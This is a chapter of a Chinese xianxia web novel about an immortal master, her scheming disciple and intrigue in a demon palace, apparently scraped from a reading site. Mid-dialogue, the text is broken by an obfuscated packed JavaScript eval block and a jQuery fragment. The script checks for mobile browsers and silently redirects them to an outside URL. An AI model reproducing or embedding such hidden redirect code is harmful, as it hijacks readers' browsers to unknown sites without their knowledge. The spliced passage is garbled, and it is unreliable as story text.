她望过去，江以卓的神色也很正常，既没有装模作样时的那股绿茶劲儿，也没有显出野心时的张狂凌厉，他看着羡折，就像在看院中的假石。 “道侣带着弟子同住一院，如何解释都不大好听，”羡折收回落在周玉衍身上的目光，转去看江以卓，“关乎仙尊声誉，一些能避免的流言，自然是半点不要起才最好。” 江以卓指尖缓慢地点着剑：“羡师兄这是宗门的思维了，魔族人可不会在意这些。” “羡师兄忘了？那元婴魔族见到我们时，还说我比羡师兄更合魔族的喜好，若我修为高一些，会比羡师兄更适合假扮道侣。” 羡折抬眼，语气清淡，似乎并没有被这话激起什么情绪：“但你仅有这点修为，所以不必做什么假设。” 江以卓笑起来：“羡师兄说得不错，事实如此，做什么假设呢？毕竟——假的就是假的。” “念上个千千万万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376600|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍，都是假的。” 羡折顿了一下，没有再接话。 “师尊，”江以卓侧身望向周玉衍，笑眼清亮，“我去侧院练剑。师尊放心，弟子定会勤勉修炼，早日提升修为境界，不辜负师尊的教导。” 周玉衍看着他话完后洒脱转身，颇有些莫名其妙。 这江以卓的性子实在是弯弯绕绕得很，刚一碰面时还臭着个脸，话也不说一句，现下却是爽利了。 她又转头去看羡折，羡折倒还是那副神情，见她看来，还问了句仙尊何事。 还是羡折这种直白的性子好相处。周玉衍心想。 * 元婴魔族战战兢兢地向右护法详细说完与周玉衍等人的相遇，小心问道：“大人，无事的话属下就先……” “我没记错的话，你原先是林洵底下的人？”右护法打断他。 元婴魔族反应了好一会儿，才对这个名字有了点印象：“是，大人，我是左护法底下的人，左护法大人原先是把我分到南下任务的那一队……” 右护法摆摆手，示意他不必多说：“你可有从她那儿听闻什么消息？大祭司从前根本不会管魔宫的事，这回这般助那林洵，定是她背着我早与大祭司商量了谋权！” 元婴魔族闻言大惊失色：“大人、大人慎言啊！我这点修为，哪能知道这些！” “她现今又不在，怕成这样做什么！”右护法拧起眉毛，“你以为你今日被我留下，回去后林洵还会拿你当她手下人吗？” 元婴魔族并不敢随意接这话，因躬身垂下的头冷汗直冒。 右护法继续道：“为我做事又没什么不好，大祭司没有将我手上财权拿走，想来对那林洵也没有那般信任，这魔宫里想做些什么，终究是绕不太开我的。” 话完他沉默了几息，低声喃喃，“但她是什么时候联系上了大祭司的呢？分明这三年我几乎是日日监视着她的人……” “难不成……你们这些出去魔宫做任务的人……” 元婴魔族赶紧道：“大人明鉴！属下根本连大祭司是何人都不清楚啊！” 右护法没说话，元婴魔族感受着周身威压逐渐加重，想起这人惩处手下人的力度，惶恐道，“大人，容属下冒昧，方才、方才那位大人，当真是大祭司？二位护法大人可有看过她的令牌？” 右护法：“自然，大祭司院子设的阵法禁制，仅她一人能破开，她在院中住了一晚，哪里需要什么令牌为证。” 他眯了眯眼，“查大祭司的令牌，是觉得命太长了？” “非也！”元婴魔族抖着声音，“大人为何肯定那院子的禁制仅有大祭司能解？是因为魔宫中连主上都解不开吗？可是、可是，大人，人外有人，若世间正巧就有人懂那禁制的解法……” 右护法猛地掐住元婴魔族的脖颈，将他低垂的头拎起，眼中杀意十足：“这等胡言乱语，你都敢说出口？” 元婴魔族浑身都抖着，以为自己终是难逃一死。 * 元婴魔族恍惚地回到自己的住处，一转角却被惊得高声尖叫起来。 周玉衍嫌弃地打出一道禁言法咒，接着拍了拍身旁的江以卓，说道：“我想了想，我徒弟还是住在你这方，劳你费心了。” “这几日你多与他切磋切磋，”周玉衍无视掉江以卓几乎要把她刺穿的目光，像把自家小孩交给托儿所那般，叮嘱道，“他要是不愿意切磋，你就直接揍，他喊疼或是伤重吐血也都不用停，狠狠揍！” 她最后又肃着脸点了点江以卓，“都与你说了，带你进魔界是来历练的，对于你来说他的虽然修为是高了些，但这般历练效果可比之前的好得多，你刻苦一点，莫要为师操心。” 江以卓没应声，只一直盯着她。 周玉衍自说自话完，又威逼利诱了元婴魔族一番，接着毫不犹豫地离开了这方。 江以卓看着周玉衍离开的方向，看了很久很久，久到元婴魔族都缓过了神来，探究地将他上下打量。 “你想独占你师尊吗？” 元婴魔族眼底稍起精光，镇定着、循循善诱着，“独占她，叫她日后眼里只有你一人，什么道侣什么师爹，不过名号而已，你若是想……” 江以卓瞥他一眼：“不。”